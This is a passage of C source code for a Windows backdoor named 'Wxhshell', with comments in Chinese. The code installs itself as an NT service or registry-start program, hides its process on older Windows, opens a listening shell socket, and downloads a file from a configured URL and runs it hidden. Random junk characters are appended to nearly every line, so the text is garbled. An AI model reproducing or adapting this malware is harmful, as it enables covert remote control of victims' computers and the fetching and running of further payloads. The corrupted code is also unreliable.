} PROCESS_BASIC_INFORMATION; pSQCT
zD2.Q%`IM
PROCNTQSIP NtQueryInformationProcess; a,~D+s;^
sr+gD*@h
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5BHOHw D{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
dGsS<@G
3G%wZ,)C
HANDLE hProcess; |'c4er/;#
PROCESS_BASIC_INFORMATION pbi; V+O0k: o
G7Z vfLR{:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I{42'9
if(NULL == hInst ) return 0; LiZdRr
kxm:g)`=[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1GG>.RCP
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lC=N:=Mu
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }2ql?K
m\/,cc@,
if (!NtQueryInformationProcess) return 0; `u#;MUg
p9AZ9xr
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3+(yI 4
if(!hProcess) return 0; xN`r4
aGB0-;.t7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JFRpsv
"($Lx
CloseHandle(hProcess); 9jO`gWxV8*
&_9YLXtMi;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'u(=eJ@1
if(hProcess==NULL) return 0; VyecTU"W
C5es2!^-]O
HMODULE hMod; "H>r-cyh
char procName[255]; jq57C}X}2
unsigned long cbNeeded; E3S%s
4D^ M<Xn
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =`qRu
#%?FM>
CloseHandle(hProcess); #)^^_
Z}8k[*.
if(strstr(procName,"services")) return 1; // 以服务启动 ]By0Xifew
|*^8~u3J"
return 0; // 注册表启动 `]`=]*d
} M=5d95*-}
=U4f}W;
// 主模块 Nfv="t9e
int StartWxhshell(LPSTR lpCmdLine) K,f* SXM
{ \G$QNUU
SOCKET wsl; @[MO,J&h
BOOL val=TRUE; + "cRhVR
int port=0; +
a-wv
struct sockaddr_in door; #K=b%;>
7hB#x]oQo
if(wscfg.ws_autoins) Install(); 59{;VY81
>u=%Lz"J
port=atoi(lpCmdLine);
h6u2j p(+
`"a? a5]k
if(port<=0) port=wscfg.ws_port; 8P,l>HA
WD15pq l
WSADATA data; K;oV"KRK
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o]Z
_@VI
Hf VHI1f
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z)4UMR#b&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w&p~0cA~
door.sin_family = AF_INET; _*s~`jn{H
door.sin_addr.s_addr = inet_addr("127.0.0.1"); P+Wm9xR2d
door.sin_port = htons(port); zlH28V
\un sh^M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UTZ776`S&X
closesocket(wsl); `6&`wKz
return 1; +7V=aNRlE
} GI4?|@%vD!
<57g{e0I
if(listen(wsl,2) == INVALID_SOCKET) { m8'@UzB
closesocket(wsl); bb|}'
return 1; >s&XX,
w
} fO K|:
Wxhshell(wsl); sffhPX\I
WSACleanup(); -i#J[>=w{C
@-0Fe9 n=
return 0; 9Ei5z6Vk/+
N99[.mErU
} oP/>ju
:<L5sp
// 以NT服务方式启动 /@VsqD
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {'NBp0i
{ -*?p F_*w
DWORD status = 0; R"@7m!IA
DWORD specificError = 0xfffffff; v@VLVf)>9^
E W`W~h[
serviceStatus.dwServiceType = SERVICE_WIN32; jDR')ascn
serviceStatus.dwCurrentState = SERVICE_START_PENDING; FJ{=2]x|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jz*0`9&_
serviceStatus.dwWin32ExitCode = 0; (~h7rAEc
serviceStatus.dwServiceSpecificExitCode = 0; ~i%-WX
serviceStatus.dwCheckPoint = 0; 1\/{#c
serviceStatus.dwWaitHint = 0; 9I85EcT^4"
ton1oq
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C>^,*7dS
if (hServiceStatusHandle==0) return; wb
b*nL|P
Q| ?'(J+
status = GetLastError(); W!t{rI7 2
if (status!=NO_ERROR) rn;<HT
{ /ip lU
serviceStatus.dwCurrentState = SERVICE_STOPPED; $]C=qM28-
serviceStatus.dwCheckPoint = 0; wh%xkXa[ur
serviceStatus.dwWaitHint = 0; lr,q{;
serviceStatus.dwWin32ExitCode = status; Z:!IX^q;}n
serviceStatus.dwServiceSpecificExitCode = specificError; 6,X+1EXY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'xIyGDe
return; FH.f- ZU
} 1I ""X]I_
]%
K'
fXj$
serviceStatus.dwCurrentState = SERVICE_RUNNING; D&/I1=\(
serviceStatus.dwCheckPoint = 0; p!_[qs
serviceStatus.dwWaitHint = 0; !NTH.U:g
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2HD:JdL
} q]CeD
1w`2Dt
// 处理NT服务事件,比如:启动、停止 LT/mb2
VOID WINAPI NTServiceHandler(DWORD fdwControl) :_v!#H)
{ k)cP! %z
switch(fdwControl) 6hO-H&r++
{ *Ddi(`
case SERVICE_CONTROL_STOP: +
~"5!
serviceStatus.dwWin32ExitCode = 0; \/ErPi=g
serviceStatus.dwCurrentState = SERVICE_STOPPED; eIH$"f;L
serviceStatus.dwCheckPoint = 0; 6#U^<`
serviceStatus.dwWaitHint = 0; 5Q W}nRCZ
{ ZWS2q4/S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 802H$P^ps
} V C-d0E0
return; kO1}?dWpa
case SERVICE_CONTROL_PAUSE: Us]=Y}(
serviceStatus.dwCurrentState = SERVICE_PAUSED; M diwRi
break; b?8)7.{F{
case SERVICE_CONTROL_CONTINUE: 4ZwKpQ6
serviceStatus.dwCurrentState = SERVICE_RUNNING; \w%@?Qik
break; "N 3)Qr
case SERVICE_CONTROL_INTERROGATE: <`)iA-Df;9
break; L_Q S0_1
}; (!3;X"l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hkege5{
} -}P7$|O&
]W/>Ldv
// 标准应用程序主函数 9gy(IRGq/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zyFUl%
{ L0L2Ns
M/pMs 6
// 获取操作系统版本 0mTr-`s
OsIsNt=GetOsVer(); eklgLU-+fW
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]n;1x1'
&l m#
// 从命令行安装 )"|||\Iv
if(strpbrk(lpCmdLine,"iI")) Install(); |0g{"}%
2}vNSQvG
// 下载执行文件 d$G}iJ8$mp
if(wscfg.ws_downexe) { I-DXb
M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8PBvV[
WinExec(wscfg.ws_filenam,SW_HIDE); Z+4D.bA
} T7[NcZ:I
yz8jU*H
if(!OsIsNt) { $,ikv?"L
// 如果时win9x,隐藏进程并且设置为注册表启动 4t*so~
HideProc(); 2: SO_O4C
StartWxhshell(lpCmdLine); ~e-z,:Af
} UG](go't
else u -3:k
if(StartFromService()) 5Sva}9H
// 以服务方式启动 36vgX=}
StartServiceCtrlDispatcher(DispatchTable); cj$d=k~
else F9a^ED0l\
// 普通方式启动 r^1+cwy/7P
StartWxhshell(lpCmdLine); X!>eiYK)
S\*`lJzPM
return 0; E=$p^s
}